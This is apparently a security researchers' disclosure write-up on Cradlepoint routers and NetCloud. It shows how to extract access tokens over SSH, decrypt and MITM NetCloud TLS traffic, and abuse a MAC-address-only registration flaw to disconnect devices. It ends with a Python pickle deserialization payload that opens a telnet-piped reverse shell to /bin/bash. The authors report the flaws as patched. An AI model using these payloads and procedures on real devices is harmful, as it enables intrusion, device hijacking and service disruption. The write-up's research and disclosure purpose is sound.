NetCloud¶
In this post we explore various techniques and vulnerabilities associated with Cradlepoint routers and NetCloud. It details methods such as obtaining access tokens through SSH, decrypting NetCloud traffic using Wireshark, MITM attacks with mitmproxy, and exploiting insecure device registration using MAC addresses. Additionally, it highlights a Remote Code Execution (RCE) vulnerability through Python pickle deserialization, which could lead to unauthorized access and manipulation of network devices; however, both the device registration and RCE vulnerabilities have been recently patched.
Recon¶
Cradlepoint documentation:
- How to connect a router to NetCloud
- NetCloud API to query routers remotely
- API query examples
- Enable remote administration
WPC Authentication / ECM:
- https://accounts.cradlepointecm.com/
- Login with username and password
- The router uses a login
token_idandtoken_secret - Token stored in NOR storage
$ binwalk –extract nordump_pw0000.bin$ grep -rl "wpc.auth" .ecmcommand in the router's CLI- Privileged sub-commands:
tri,ale,dif - Connection
- Server:
stream.cradlepointecm.com - Port:
8001 - Certificate:
/service_manager/services/wpcclient/stream.crt - "Insecure Activation" (see
wpcclient.pyc) probably only works if it's manually activated from the NetCloud side (see use case). - "Insecure Activation" was also used to generate temporary credentials for brand-new devices (fixed by Cradlepoint after our report, fix verified by us).
Get Access Token¶
Read NetCloud token from a patched router CLI:
Connect to the router via SSH:
ssh admin@192.168.0.1
admin@192.168.0.1's password:
[admin@IBR600C-a38: /]$ sh
/service_manager # cppython
... and paste the following into the interpreter:
import filemanager
from board import board
file_io = board.get_partition("2nd Filemanager", rwdev=True)
fm2 = filemanager.FileManager2(file_io)
token = fm2.get("wpc.auth")
Example output: (2439001, 0, '2b29ffccbda7e45df943dc1e82a096af04e24249', 'stream.cradlepointecm.com', 8001)
You can use the netcloud command to register the router with the token:
[admin@IBR600C-a38: /]$ netcloud register --token_id=0 --token_secret=2b29ffccbda7e45df943dc1e82a096af04e24249
Decrypt NetCloud Traffic in Wireshark¶
This step requires a rooted device (see here for details).
- In the dumped rootfs set the
SSLKEYLOGFILEenvironment variable in/etc/rcand reflash the device:
export SSLKEYLOGFILE=/tmp/ssl_key.txt
- Connect to the router via SSH and start tcpdump:
ssh admin@192.168.0.1
admin@192.168.0.1's password:
[admin@IBR600C-a38: /]$ sh
/service_manager # cd /var/tmp && tcpdump -i athc00 -w /tmp/netcloud_dump.pcap
- Start a HTTP server to download the PCAP:
/var/tmp # iptables -A INPUT -p tcp --dport 8080 -j ACCEPT
/var/tmp # cppython -m http.server 8080
- Download PCAP:
$ wget 192.168.0.1:8080/netcloud_dump.pcap
-
Import pre-master secret into Wireshark: Grab the file from step 1) and add it to Wireshark (
Preferences-->TLS-->(Pre)-Master-Secret logfile name) -
Export TLS stream as YAML:
Follow-->TLS Stream-->Show Data as YAML -
Finally, parse the YAML file with this script.
MITM NetCloud Traffic with mitmproxy¶
This how-to sets up your MITM box as a transparent proxy to intercept Netcloud communications with mitmproxy (we used a Raspberry Pi for this purpose).
- Enable IP forwarding, setup
dnsmasqand configureiptablesrules. For example:
#!/bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o wlan0 -j ACCEPT
sudo iptables -A FORWARD -i wlan0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 8001 -j REDIRECT --to-port 8080
sudo systemctl daemon-reload && sudo systemctl restart dhcpcd
sudo service dnsmasq restart
-
Setup the router's WAN interface to use your proxy as the default gateway (e.g., via the web interface)
-
Install mitmproxy (on Raspberry Pi):
$ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
$ sudo apt-get install build-essential libssl-dev libffi-dev python3-dev cargo
$ git clone https://github.com/mitmproxy/mitmproxy/tree/main/mitmproxy
$ cd mitmproxy
$ pip install -e .
-
On the router, copy your MITM CA certificate into the file
/service_manager/services/wpcclient/stream.crt(trusted CA "store") -
Copy your MITM CA certificate into mitmproxy's folder. It must have the name
mitmproxy-ca.pemand the following structure:
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----
- Fire up mitmproxy using this logging script:
$ mitmproxy --mode transparent --set confdir=$HOME/mitmproxy --rawtcp --tcp-hosts ".*" -s mitmproxy_netcloud_logging.py
Disconnect any Cradlepoint Router from NetCloud¶
A device registered with Netcloud can be disconnected remotely by registering it again from any machine connected to the Internet by knowing its MAC address only (w/o Netcloud credentials and w/o accessing the device physically). The device's identity is based on its MAC address only.
To reproduce, one has to go through the following steps:
- We found a function in the Python middleware involved in the registration process called
insecure_registration. This function is taking a MAC address as input and is computing a value out of it together with multiple hashes. We were able to get a temporary Netcloud authentication token using this function by calling the Netcloud API functioncheck_activationwith the result of theinsecure_registrationfunction, using a valid MAC address as input. Such MAC addresses can be easily obtained from online marketplaces such as Ebay.
After calling the API, one receives an access token from stream.cradlepointecm.com, e.g.:
{'token_id': 'temp-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx',
'token_secret': 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'}
-
This token can then be used to call the
authorizeandregisterNetcloud APIs to register the target device with its MAC address from any machine. -
As a result, the target device is disconnected from its Netcloud account and disappears. Also, it loses its license. To re-connect the router, it must be manually re-registered via the web/ssh interface or physical access.
The attacker does not need to have a Netcloud account by her/himself. Only knowledge of the target’s MAC address is needed. This vulnerability has been patched.
RCE through Deserializing Untrusted Data¶
By analyzing the traffic between Netcloud and our Cradlepoint router, we noticed that during registration, the router engages in a license sync with Netcloud by sending its license as a pickled Base64 encoded byte stream. Here is an example:
{'command': 'post', 'args': {'queue': 'license_sync', 'id': 'xxx', 'value': {'success': True, 'data': 'gAJ9[...]=='}}}
The Python pickle module implements binary protocols for serializing and de-serializing a Python object structure. A big warning is stated:
⚠️ Warning: The pickle module is not secure. Only unpickle data you trust. ⚠️
As we control the data, it's possible to execute malicious pickle opcodes on Netcloud servers. For example, remote execution is possible, see this blog. We can use this simple payload to get a reverse shell:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('telnet 192.168.1.200 8080 | /bin/bash | telnet 192.168.1.200 8081')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(pickled)
We didn’t run the attack against Netcloud servers, but were able to exploit the issue on the router (see example PoC here). This vulnerability has been patched.